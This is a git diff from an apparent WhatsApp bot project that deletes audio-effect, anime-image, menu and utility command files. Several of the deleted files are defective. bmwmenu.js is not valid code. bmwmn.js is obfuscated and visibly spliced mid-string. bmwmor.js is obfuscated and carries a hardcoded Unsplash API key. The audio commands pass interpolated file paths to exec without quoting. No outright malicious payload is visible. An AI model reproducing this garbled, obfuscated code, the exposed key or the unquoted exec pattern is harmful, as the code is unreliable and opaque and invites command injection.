- repondre("Error : " + e);
- }
- } else {
- repondre("The command only works with audio messages");
- }
- } else {
- repondre("Please mention an audio");
- }
- }
- );
-
- adams(
- {
- nomCom: 'slow',
- categorie: 'Audio-Edit',
- },
- async (dest, zk, commandeOptions) => {
- const { ms, repondre, msgRepondu } = commandeOptions;
-
- if (msgRepondu) {
- if (msgRepondu.audioMessage) {
- const media5 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
- let set5 = '-filter:a "atempo=0.8,asetrate=44100"';
- let ran5 = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${media5} ${set5} ${ran5}`, (err, stderr, stdout) => {
- fs.unlinkSync(media5);
- if (err) return repondre("error during the procedure" + err);
-
- let buff5 = fs.readFileSync(ran5);
-
- zk.sendMessage(dest, { audio: buff5, mimetype: "audio/mpeg" }, { quoted: ms });
- fs.unlinkSync(ran5);
- });
- } catch (e) {
- repondre("Error : " + e);
- }
- } else {
- repondre("The command only works with audio messages");
- }
- } else {
- repondre("Please mention an audio");
- }
- }
- );
-
-// Cas pour l'effet "smooth"
-adams(
- {
- nomCom: 'smooth',
- categorie: 'Audio-Edit',
- },
- async (dest, zk, commandeOptions) => {
- const { ms, repondre, msgRepondu } = commandeOptions;
-
- if (msgRepondu) {
- if (msgRepondu.audioMessage) {
- const mediaSmooth = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
- let setSmooth = '-filter:v "minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'"';
- let ranSmooth = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${mediaSmooth} ${setSmooth} ${ranSmooth}`, (err, stderr, stdout) => {
- fs.unlinkSync(mediaSmooth);
- if (err) return repondre("error during the procedure" + err);
-
- let buff6 = fs.readFileSync(ranSmooth);
-
- zk.sendMessage(dest, { audio: buff6, mimetype: "audio/mpeg" }, { quoted: ms });
- fs.unlinkSync(ranSmooth);
- });
- } catch (e) {
- repondre("Error : " + e);
- }
- } else {
- repondre("The command only works with audio messages");
- }
- } else {
- repondre("Please mention an audio");
- }
- }
- );
-
- // Cas pour l'effet "tempo"
- adams(
- {
- nomCom: 'tempo',
- categorie: 'Audio-Edit',
- },
- async (dest, zk, commandeOptions) => {
- const { ms, repondre, msgRepondu } = commandeOptions;
-
- if (msgRepondu) {
- if (msgRepondu.audioMessage) {
- const mediaTempo = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
- let setTempo = '-filter:a "atempo=0.9,asetrate=65100"';
- let ranTempo = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${mediaTempo} ${setTempo} ${ranTempo}`, (err, stderr, stdout) => {
- fs.unlinkSync(mediaTempo);
- if (err) return repondre("error during the procedure " + err);
-
- let buff7 = fs.readFileSync(ranTempo);
-
- zk.sendMessage(dest, { audio: buff7, mimetype: "audio/mpeg" }, { quoted: ms });
- fs.unlinkSync(ranTempo);
- });
- } catch (e) {
- repondre("Error : " + e);
- }
- } else {
- repondre("The command only works with audio messages");
- }
- } else {
- repondre("Please mention an audio");
- }
- }
- );
-
- // Cas pour l'effet "nightcore"
- adams(
- {
- nomCom: 'nightcore',
- categorie: 'Audio-Edit',
- },
- async (dest, zk, commandeOptions) => {
- const { ms, repondre, msgRepondu } = commandeOptions;
-
- if (msgRepondu) {
- if (msgRepondu.audioMessage) {
- const mediaNightcore = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
- let setNightcore = '-filter:a "atempo=1.07,asetrate=44100*1.20"';
- let ranNightcore = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${mediaNightcore} ${setNightcore} ${ranNightcore}`, (err, stderr, stdout) => {
- fs.unlinkSync(mediaNightcore);
- if (err) return repondre("error during the procedure " + err);
-
- let buff8 = fs.readFileSync(ranNightcore);
-
- zk.sendMessage(dest, { audio: buff8, mimetype: "audio/mpeg" }, { quoted: ms });
- fs.unlinkSync(ranNightcore);
- });
- } catch (e) {
- repondre("Erreur : " + e);
- }
- } else {
- repondre("The command only works with audio messages");
- }
- } else {
- repondre("Please mention an audio");
- }
- }
- );
-
diff --git a/scs/bmwjj.js b/scs/bmwjj.js
deleted file mode 100644
index 8b13789..0000000
--- a/scs/bmwjj.js
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/scs/bmwm.js b/scs/bmwm.js
deleted file mode 100644
index c7dd209..0000000
--- a/scs/bmwm.js
+++ /dev/null
@@ -1,144 +0,0 @@
-const axios = require('axios');
-const fs = require('fs');
-const { adams } = require("../Ibrahim/adams");
-const { writeFile } = require('fs/promises')
-
-// Commande waifu
-adams({
- nomCom: "waifu",
- categorie: "Weeb",
- reaction: "😏"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
- const url = 'https://api.waifu.pics/sfw/waifu'; // Remplacez avec le lien réel de l'API waifu.pics
-
- try {
-
- for (let i = 0; i < 5; i++) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
- }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-// Commande neko
-adams({
- nomCom: "neko",
- categorie: "Weeb",
- reaction: "😺"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
- const url = 'https://api.waifu.pics/sfw/neko'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API de nekos
-
- try {
- for (let i = 0; i < 5; i++) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
- }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-// Commande shinobu
-adams({
- nomCom: "shinobu",
- categorie: "Weeb",
- reaction: "🦋"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
- const url = 'https://api.waifu.pics/sfw/shinobu'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API avec des images de Shinobu
-
- try {
- for (let i = 0; i < 5; i++) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
- }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-// Commande megumin
-adams({
- nomCom: "megumin",
- categorie: "Weeb",
- reaction: "💥"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
- const url = 'https://api.waifu.pics/sfw/megumin'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API avec des images de Megumin
-
- try {
- for (let i = 0; i < 5; i++) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage,{ image: { url: imageUrl } }, { quoted: ms });
- }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-
-
-adams({
- nomCom: "cosplay",
- categorie: "Weeb",
- reaction: "😏"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
-
-
- try {
- for (let i = 0; i < 5; i++) {
- let url = 'https://fantox-cosplay-api.onrender.com/'
-
- const response = await axios.get(url, { responseType: 'arraybuffer' })
-
-
-
- const image = response.data;
-
- await writeFile('./cosplay.jpg', image)
- zk.sendMessage(origineMessage,{image : {url : `./cosplay.jpg`}},{quoted :ms}) }
-
- } catch (e) {
- repondre("je reçois malheureusement une erreur : " + e);
- }
-});
-
-
-adams({nomCom:"couplepp",categorie: "Weeb",reaction : "💞"},async(dest,zk,commandeOptions)=>{ const {repondre , ms} = commandeOptions;
- let api = 'https://smiling-hosiery-bear.cyclic.app/weeb/couplepp'
- try {
- repondre('she/he dont love you :)')
- const result = await axios.get(api)
-
-
- zk.sendMessage(dest, { image: { url: result.data.male }, caption: `For Man` }, { quoted: ms })
- zk.sendMessage(dest, { image: { url: result.data.female }, caption: `_For woman_` }, { quoted: ms })
-
- } catch (e) { repondre(e)}
-
-}
- )
-
diff --git a/scs/bmwmenu.js b/scs/bmwmenu.js
deleted file mode 100644
index 4fa5bc3..0000000
--- a/scs/bmwmenu.js
+++ /dev/null
@@ -1,11 +0,0 @@
-Const = {menu}
-Const = {commands}
-const = {mp3song}
-const = {wachannel}
-
-('Remote git from ibrahim.mgtyu')
-
-{'Full copy from remote git menu'}
-
-export text message, audio, link, url
-
diff --git a/scs/bmwmn.js b/scs/bmwmn.js
deleted file mode 100644
index 280ebd4..0000000
--- a/scs/bmwmn.js
+++ /dev/null
@@ -1,2 +0,0 @@
-
-const _0x204925=_0x431c;function _0x479c(){const _0x33f28f=['log','/../Ibrahim/mesfonctions','8hENAxz','\x20minute,\x20','*╭────❒*\x20*','platform','7ufbTlX','/../config','\x20\x0a╰─────═━┈┈━═──━┈⊷\x20\x0a\x0a\x0a🌍\x20𝐁𝐄𝐒𝐓\x20𝐖𝐇𝐀𝐓𝐒𝐀𝐏𝐏\x20𝐁𝐎𝐓\x20🌍\x0a\x0a','*\x20*❒*','Devibraah/BWM-XMD','push','Good\x20morning','https://api.github.com/repos/','\x0a*╰─═════════════❒*\x20\x0a','Error\x20fetchi.x3+.=require(_0x204925(0x1d2)),{adams}=require(__dirname+_0x204925(0x1c8)),{format}=require(__dirname+_0x204925(0x1b6)),os=require('os'),moment=require('moment-timezone'),s=require(__dirname+_0x204925(0x1bc)),more=String[_0x204925(0x1e6)](0x200e),readmore=more[_0x204925(0x1b3)](0xfa1),runtime=function(_0x5c873b){const _0x7e0c38=_0x204925;_0x5c873b=Number(_0x5c873b);var _0x37865b=Math[_0x7e0c38(0x1a9)](_0x5c873b/(0xe10*0x18)),_0x542d8f=Math['floor'](_0x5c873b%(0xe10*0x18)/0xe10),_0x3f3322=Math[_0x7e0c38(0x1a9)](_0x5c873b%0xe10/0x3c),_0xc08185=Math[_0x7e0c38(0x1a9)](_0x5c873b%0x3c),_0x454d2b=_0x37865b>0x0?_0x37865b+(_0x37865b==0x1?_0x7e0c38(0x1d8):'\x20d,\x20'):'',_0x38541f=_0x542d8f>0x0?_0x542d8f+(_0x542d8f==0x1?_0x7e0c38(0x1dd):_0x7e0c38(0x1d0)):'',_0x2959e9=_0x3f3322>0x0?_0x3f3322+(_0x3f3322==0x1?_0x7e0c38(0x1b8):_0x7e0c38(0x1b0)):'',_0x4124f1=_0xc08185>0x0?_0xc08185+(_0xc08185==0x1?_0x7e0c38(0x1aa):'\x20s'):'';return _0x454d2b+_0x38541f+_0x2959e9+_0x4124f1;},fetchGitHubStats=async()=>{const _0x1cd392=_0x204925;try{const _0x545401=_0x1cd392(0x1bf),_0x1d7c16=await axios[_0x1cd392(0x1d7)](_0x1cd392(0x1c2)+_0x545401),_0x4db1c9=_0x1d7c16['data'][_0x1cd392(0x1b4)],_0x8a6aba=_0x1d7c16[_0x1cd392(0x1cf)]['stargazers_count'],_0x3dc700=_0x4db1c9*0x2+_0x8a6aba*0x2;return{'forks':_0x4db1c9,'stars':_0x8a6aba,'totalUsers':_0x3dc700};}catch(_0x5070fd){return console[_0x1cd392(0x1d1)](_0x1cd392(0x1c4),_0x5070fd),{'forks':0x0,'stars':0x0,'totalUsers':0x0};}};adams({'nomCom':_0x204925(0x1d5),'categorie':_0x204925(0x1a2)},async(_0x559c4c,_0x19862f,_0x2ba745)=>{const _0x3619f4=_0x204925;let {ms:_0x231765,repondre:_0x38b4ef,prefixe:_0x5f4e86,nomAuteurMessage:_0x23a934}=_0x2ba745,{cm:_0x296117}=require(__dirname+'/../Ibrahim/adams');var _0x121c37={},_0x5663a5=_0x3619f4(0x1da);s[_0x3619f4(0x1ae)][_0x3619f4(0x1de)]()!=_0x3619f4(0x1da)&&(_0x5663a5='Private');_0x296117[_0x3619f4(0x1a4)](async(_0x4719d8,_0x3ba757)=>{const _0x1cbd87=_0x3619f4,_0x5470b0=_0x4719d8[_0x1cbd87(0x1dc)][_0x1cbd87(0x1a5)]();if(!_0x121c37[_0x5470b0])_0x121c37[_0x5470b0]=[];_0x121c37[_0x5470b0][_0x1cbd87(0x1c0)](_0x4719d8[_0x1cbd87(0x1db)]);}),moment['tz'][_0x3619f4(0x1a7)]('${s.TZ}');const _0x2c6d9f=moment()['format'](_0x3619f4(0x1cc)),_0x3743c2=moment()[_0x3619f4(0x1ac)](_0x3619f4(0x1e0)),_0x3d89e4=moment()[_0x3619f4(0x1d3)]();let _0x59d721='Good\x20night';if(_0x3d89e4>=0x0&&_0x3d89e4<=0xb)_0x59d721=_0x3619f4(0x1c1);else{if(_0x3d89e4>=0xc&&_0x3d89e4<=0x10)_0x59d721=_0x3619f4(0x1df);else{if(_0x3d89e4>=0x10&&_0x3d89e4<=0x15)_0x59d721=_0x3619f4(0x1af);else _0x3d89e4>=0x15&&_0x3d89e4<=0x17&&(_0x59d721='Good\x20night');}}const {totalUsers:_0x3eb0cc}=await fetchGitHubStats(),_0x120157=_0x3eb0cc[_0x3619f4(0x1a6)]();let _0x496f1c=_0x3619f4(0x1c6)+_0x5663a5+_0x3619f4(0x1d6)+_0x5f4e86+_0x3619f4(0x1e2)+os[_0x3619f4(0x1ba)]()+_0x3619f4(0x1d9)+_0x3743c2+'*\x0a┇\x20ᴛɪᴍᴇ:\x20*'+_0x2c6d9f+_0x3619f4(0x1c9)+format(os[_0x3619f4(0x1cb)]()-os[_0x3619f4(0x1d4)]())+'/'+format(os['totalmem']())+_0x3619f4(0x1bd),_0x2451f1=readmore+'\x20\x20\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x0a';const _0x2457a9=Object[_0x3619f4(0x1e4)](_0x121c37)[_0x3619f4(0x1ad)]();for(const _0x5597e9 in _0x121c37){_0x2451f1+=_0x3619f4(0x1b9)+_0x5597e9+_0x3619f4(0x1be);for(const _0x54126e of _0x121c37[_0x5597e9]){_0x2451f1+=_0x3619f4(0x1c5)+_0x54126e;}_0x2451f1+=_0x3619f4(0x1c3);}_0x2451f1+='\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20\x0a';try{await _0x19862f[_0x3619f4(0x1e1)](_0x559c4c,{'text':_0x496f1c+_0x2451f1,'contextInfo':{'mentionedJid':[_0x23a934],'externalAdReply':{'title':'','body':_0x3619f4(0x1b2),'thumbnailUrl':_0x3619f4(0x1e5),'sourceUrl':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y','mediaType':0x1,'rendersmallThumbnail':!![]}}});}catch(_0x1961ff){console[_0x3619f4(0x1b5)](_0x3619f4(0x1b1)+_0x1961ff),_0x38b4ef(_0x3619f4(0x1b1)+_0x1961ff);}});
diff --git a/scs/bmwmor.js b/scs/bmwmor.js
deleted file mode 100644
index f45a873..0000000
--- a/scs/bmwmor.js
+++ /dev/null
@@ -1 +0,0 @@
-const _0x39bcb0=_0x1307;function _0x3460(){const _0x5855b7=['Erreur:','desc','urls','https://api.maher-zubair.tech/ai/mathssolve?q=','https://opentdb.com/api.php?amount=1&type=multiple','Mobile','author','message','male','501jUOWyb','General','Invalid\x20response\x20format\x20from\x20the\x20GPT\x20API.','textBody','calc','ilama','https://tajammalmods.xyz/Validater.php?num=','Error\x20fetching\x20joke:','https://api.maher-zubair.tech/details/population','Error\x20getting\x20response:','https://widipe.com/gemini?text=','https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y','axios','No\x20response\x20received\x20from\x20Bard.\x20Please\x20try\x20again\x20later.','time_zones','7335QBsoLw','https://www.1secmail.com/api/v1/?action=getMessages&login=','images','Invalid\x20response\x20format\x20from\x20the\x20trivia\x20API.','*Here\x20is\x20an\x20advice\x20for\x20you:*\x20\x0a','truth','You\x20have\x20received\x20a\x20new\x20email!\x0a\x0aFrom:\x20','Your\x20temporary\x20email\x20is:\x20','trim','join','Une\x20erreur\x20s\x27est\x20produite','>\x20*POWERED\x20BY\x20BMW-MD*','🗞️','Interacting\x20with\x20Bard...\x20Please\x20wait\x20a\x20moment.','create','floor','@1secmail.com','Body','14145tbDrNJ','international_format','timeZone','Invalid\x20response\x20from\x20the\x20trivia\x20API.\x20Status\x20code:\x20','data','calculate','\x0a-\x20*Deaths\x20Today:*\x20','dall','\x0a*International\x20Format:*\x20','2804740XFgzLV','\x0a\x0a*Powered\x20by\x20©\x20Ibrahim\x20Adams*','insult','\x0a\x0a>\x20*POWERED\x20BY\x20BMW-MD*','advice','https://api.unsplash.com/photos/random?client_id=72utkjatCBC-PDcx7-Kcvgod7-QOFAm2fXwEeW8b8cc','NEWS','msg','Please\x20insert\x20math\x20calculations\x20like\x20100000+2024.\x0a\x0aNOTE:\x20Use\x20\x22(/)\x22\x20for\x20division\x20and\x20\x22(*)\x22\x20for\x20multiplication\x20or\x20letter\x20x','subject','Error\x20fetching\x20NASA\x20news:','Error\x20getting\x20GPT\x20response:','📋\x20COPY\x20YOUR\x20CODE','Header','Footer','14ntFYjs','https://api.maher-zubair.tech/details/ios','The\x20correct\x20answer\x20is:\x20','\x0a*Line\x20Type:*\x20','get','There\x20was\x20an\x20error\x20fetching\x20the\x20news.\x20Please\x20try\x20again\x20later.','unshift','*Powered\x20by\x20BMW-MD*','stringify','status','match','News','*\x20Stats:\x0a\x0a*Date\x20&\x20Time:*\x20','json','No\x20population\x20data\x20found.','url','*POWERED\x20BY\x20FLASH-MD*','total','completion','../Ibrahim/traduction','3296029bSlXeC','title','result','Hello\x20🖐️\x0a\x0a\x20What\x20help\x20can\x20I\x20offer\x20you\x20today?','6350BBryJC','location','&domain=1secmail.com','https://api.guruapi.tech/ai/gpt4?username=','bestwal','https://shizoapi.onrender.com/api/texts/truth?apikey=shizo','BMW\x20PHOTOS','regular','inspire','https://api.popcat.xyz/joke','\x0aSubject:\x20','\x0a*TimeZone:*\x20','bard','>\x20*POWERED\x20BY\x20FLASH-MD*','User','incorrect_answers','content','technews','FOLLOW\x20CHANNEL','question','deaths','applenews','609203nTDPta','No\x20additional\x20data','this_year','length','Error\x20getting\x20response\x20from\x20GPT.','link','Error\x20fetching\x20tech\x20news:','lines','correct_answer','joke','https://api.maher-zubair.tech/maker/enhance?','current','Network\x20response\x20was\x20not\x20ok.','dalle','Error\x20generating\x20temporary\x20email:','https://api.gurusensei.workers.dev/llama?prompt=','nasanews','https://samirxpikachuio.onrender.com/gpt?content=','*WORLDWIDE\x20POPULATION\x20DATA:*\x0a\x0a\x0a-\x20*Total\x20Population:*\x20','../Ibrahim/adams','from','\x0a\x0aI\x20will\x20send\x20the\x20correct\x20answer\x20in\x2010\x20seconds...','InteractiveMessage','enhance','\x0a\x0a\x0a>\x20Powered\x20by\x20*©France\x20King*','births','slip','\x22\x20-\x20','checknum','Live\x20Time\x20in\x20*','The\x20phone\x20number\x20is\x20invalid!','Please\x20provide\x20a\x20query\x20for\x20Bard.\x20Example:\x20`bard\x20What\x20is\x20the\x20capital\x20of\x20France?`','toString','best','Enter\x20the\x20name\x20of\x20the\x20country\x20you\x20want\x20to\x20know\x20its\x20time\x20and\x20date','Error\x20getting\x20trivia:','*POWERED\x20BY\x20BMW-MD*','1194AfEyMZ','No\x20news\x20data\x20found.','https://type.fit/api/quotes','\x0a*Country:*\x20','https://images.macrumors.com/images-new/1x1.trans.gif','Error:','dal','cal','NativeFlowMessage','🗨️','\x0a*National\x20Format:*\x20','Here\x27s\x20a\x20trivia\x20question\x20for\x20you:\x20\x0a\x0a','Invalid\x20response\x20from\x20the\x20API.','copy_code','Error\x20getting\x20trivia.\x20Please\x20try\x20again\x20later.','substring','No\x20links\x20found\x20in\x20the\x20email\x20content.','\x0a\x0a-\x20*Description:*\x20','\x0a*BMW-MD\x20NASA\x20NEWS:*\x0a\x0a\x0a-\x20*Title:*\x20','1675448VAdqew','map','key','Please\x20enter\x20the\x20necessary\x20information\x20to\x20generate\x20the\x20image.','Hello\x20🖐️.\x0a\x0a\x20What\x20help\x20can\x20I\x20offer\x20you\x20today?','results','https://api.maher-zubair.tech/misc/insult','error','https://api.maher-zubair.tech/misc/lines','Fun','Message','https://shizoapi.onrender.com/api/texts/dare?apikey=shizo','cta_url','That\x20country\x20name\x20is\x20incorrect!','\x0a\x0aYou\x20can\x20use\x20this\x20email\x20for\x20temporary\x20purposes.\x20I\x20will\x20notify\x20you\x20if\x20you\x20receive\x20any\x20emails.','\x0a\x0a\x0a>\x20*Powered\x20by\x20©FLASH-MD*','Error\x20generating\x20temporary\x20email.\x20Please\x20try\x20again\x20later.','*Enhanced\x20by\x20BMW-MD*','...\x0a-\x20*Read\x20More:*\x20','Oops,\x20an\x20error\x20occurred\x20while\x20processing\x20your\x20request','Error\x20checking\x20temporary\x20email:','gemini','https://api.maher-zubair.tech/details/nasa','random','\x0a\x0a-\x20*Date:*\x20','Please\x20enter\x20the\x20Url\x20of\x20the\x20image\x20you\x20want\x20to\x20enhance!','validate','name','cta_copy','explanation','dare','numinfo','\x0a*BMW-MD\x20APPLE\x20NEWS:*\x0a\x0a\x0a-\x20*Title:*\x20','https://api.adviceslip.com/advice','7466kQyZUg','\x0a-\x20*Deaths\x20This\x20Year:*\x20','temp','trivia','split','number','response','time','find','relayMessage','\x0a\x0aLinks\x20found:\x0a','sendMessage','log','population','https://widipe.com/dalle?text=','Error\x20getting\x20response.','Phone\x20Number\x20Validation:\x0a\x0a*Carrier:*\x20'];_0x3460=function(){return _0x5855b7;};return _0x3460();}(function(_0x316317,_0x2e1a22){const _0x44b69b=_0x1307,_0x54d3d6=_0x316317();while(!![]){try{const _0x4169e6=-parseInt(_0x44b69b(0x1af))/0x1+-parseInt(_0x44b69b(0x209))/0x2*(-parseInt(_0x44b69b(0x148))/0x3)+parseInt(_0x44b69b(0x172))/0x4+parseInt(_0x44b69b(0x169))/0x5*(-parseInt(_0x44b69b(0x1d4))/0x6)+parseInt(_0x44b69b(0x181))/0x7*(parseInt(_0x44b69b(0x1e7))/0x8)+-parseInt(_0x44b69b(0x157))/0x9*(parseInt(_0x44b69b(0x199))/0xa)+parseInt(_0x44b69b(0x195))/0xb;if(_0x4169e6===_0x2e1a22)break;else _0x54d3d6['push'](_0x54d3d6['shift']());}catch(_0x46b7e7){_0x54d3d6['push'](_0x54d3d6['shift']());}}}(_0x3460,0x56476));const {adams}=require(_0x39bcb0(0x1c2)),traduire=require(_0x39bcb0(0x194)),{default:axios}=require(_0x39bcb0(0x154)),pkg=require('@whiskeysockets/baileys'),{generateWAMessageFromContent,proto}=pkg;function _0x1307(_0x376a87,_0x49ed23){const _0x34605d=_0x3460();return _0x1307=function(_0x130799,_0x358378){_0x130799=_0x130799-0x13a;let _0x4dbbd7=_0x34605d[_0x130799];return _0x4dbbd7;},_0x1307(_0x376a87,_0x49ed23);}adams({'nomCom':_0x39bcb0(0x14d),'reaction':'🤗','categorie':'AI'},async(_0x482126,_0x4261f9,_0x520f1f)=>{const _0x4111a1=_0x39bcb0,{repondre:_0x3b36ea,arg:_0x5f4b18,ms:_0x4a9309}=_0x520f1f;try{if(!_0x5f4b18||_0x5f4b18[_0x4111a1(0x1b2)]===0x0)return _0x3b36ea(_0x4111a1(0x1eb));const _0x422ad4=_0x5f4b18[_0x4111a1(0x160)]('\x20'),_0x222a2c=await fetch(_0x4111a1(0x1be)+_0x422ad4),_0x5edf69=await _0x222a2c[_0x4111a1(0x18e)]();if(_0x5edf69&&_0x5edf69[_0x4111a1(0x20f)]&&_0x5edf69['response'][_0x4111a1(0x20f)]){const _0x481e50=_0x5edf69[_0x4111a1(0x20f)][_0x4111a1(0x20f)],_0xfec9b8=_0x481e50[_0x4111a1(0x18b)](/```([\s\S]*?)```/),_0x4ebb08=[{'name':_0x4111a1(0x1f3),'buttonParamsJson':JSON[_0x4111a1(0x189)]({'display_text':_0x4111a1(0x1ab),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}];if(_0xfec9b8){const _0x8fdd83=_0xfec9b8[0x1];_0x4ebb08[_0x4111a1(0x187)]({'name':'cta_copy','buttonParamsJson':JSON[_0x4111a1(0x189)]({'display_text':_0x4111a1(0x17e),'id':'copy_code','copy_code':_0x8fdd83})});const _0x37bed5=generateWAMessageFromContent(_0x482126,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage'][_0x4111a1(0x165)]({'body':proto[_0x4111a1(0x1f1)]['InteractiveMessage'][_0x4111a1(0x168)]['create']({'text':_0x481e50}),'footer':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)]['Footer']['create']({'text':'>\x20*BMM\x20MD*'}),'header':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x17f)][_0x4111a1(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage']['NativeFlowMessage']['create']({'buttons':_0x4ebb08})})}}},{});await _0x4261f9[_0x4111a1(0x212)](_0x482126,_0x37bed5['message'],{'messageId':_0x37bed5['key']['id']});}else{const _0x1d547c=generateWAMessageFromContent(_0x482126,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto['Message'][_0x4111a1(0x1c5)][_0x4111a1(0x165)]({'body':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x168)][_0x4111a1(0x165)]({'text':_0x481e50}),'footer':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x180)][_0x4111a1(0x165)]({'text':'>\x20*BMW-MD*'}),'header':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage']['NativeFlowMessage'][_0x4111a1(0x165)]({'buttons':_0x4ebb08})})}}},{});await _0x4261f9['relayMessage'](_0x482126,_0x1d547c['message'],{'messageId':_0x1d547c['key']['id']});}}else throw new Error(_0x4111a1(0x1e0));}catch(_0x3648cb){console[_0x4111a1(0x1ee)](_0x4111a1(0x151),_0x3648cb[_0x4111a1(0x146)]),_0x3b36ea(_0x4111a1(0x13d));}}),adams({'nomCom':_0x39bcb0(0x20e),'aliases':[_0x39bcb0(0x1cb),_0x39bcb0(0x201),_0x39bcb0(0x206),'valid'],'reaction':'📞','categorie':'General'},async(_0x468f76,_0x3e5454,_0xe3eef1)=>{const _0x254543=_0x39bcb0,{repondre:_0x64b5dd,arg:_0x27424a,ms:_0x5921d0}=_0xe3eef1;try{if(!_0x27424a||_0x27424a[_0x254543(0x1b2)]===0x0)return _0x64b5dd('Please\x20enter\x20a\x20phone\x20number\x20to\x20validate.');const _0x223695=_0x27424a[_0x254543(0x160)]('\x20'),_0x5ade05=await fetch(_0x254543(0x14e)+_0x223695),_0x3e01c1=await _0x5ade05[_0x254543(0x18e)]();if(_0x3e01c1['valid']){const _0x2107de=_0x3e01c1['carrier'],_0x24c891=_0x3e01c1['country'],_0x15b687=_0x3e01c1[_0x254543(0x16a)],_0x30042d=_0x3e01c1['national_format'],_0x3e09fe=_0x3e01c1['line_type']===0x1?_0x254543(0x144):'Landline',_0x36e8d8=_0x3e01c1[_0x254543(0x19a)],_0x26e26f=_0x3e01c1[_0x254543(0x156)][0x0];await _0x64b5dd(_0x254543(0x13e)+_0x2107de+_0x254543(0x1d7)+_0x24c891+_0x254543(0x171)+_0x15b687+_0x254543(0x1de)+_0x30042d+_0x254543(0x184)+_0x3e09fe+'\x0a*Location:*\x20'+_0x36e8d8+'\x0a*Time\x20Zone:*\x20'+_0x26e26f+'\x0a\x0a>\x20*POWERED\x20BY\x20FLASH-MD*');}else await _0x64b5dd(_0x254543(0x1cd));}catch(_0x46db7a){_0x64b5dd('There\x20was\x20an\x20error\x20processing\x20your\x20request.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':_0x39bcb0(0x1aa),'reaction':'📰','categorie':_0x39bcb0(0x18c)},async(_0x3cfecb,_0x21ced1,_0x18ae68)=>{const _0x5dfd57=_0x39bcb0,{repondre:_0x3b6542,ms:_0x135ec4}=_0x18ae68;try{const _0x1d5f50=await axios['get']('https://fantox001-scrappy-api.vercel.app/technews/random'),_0x3efc28=_0x1d5f50[_0x5dfd57(0x16d)],{thumbnail:_0x329ed9,news:_0x1608a6}=_0x3efc28,_0x1e79e5='*BMW\x20NEWS*\x0a\x0a'+_0x1608a6+_0x5dfd57(0x173);await _0x21ced1[_0x5dfd57(0x214)](_0x3cfecb,{'image':{'url':_0x329ed9},'caption':_0x1e79e5},{'quoted':_0x135ec4});}catch(_0x106592){console[_0x5dfd57(0x1ee)](_0x5dfd57(0x1b5),_0x106592),await 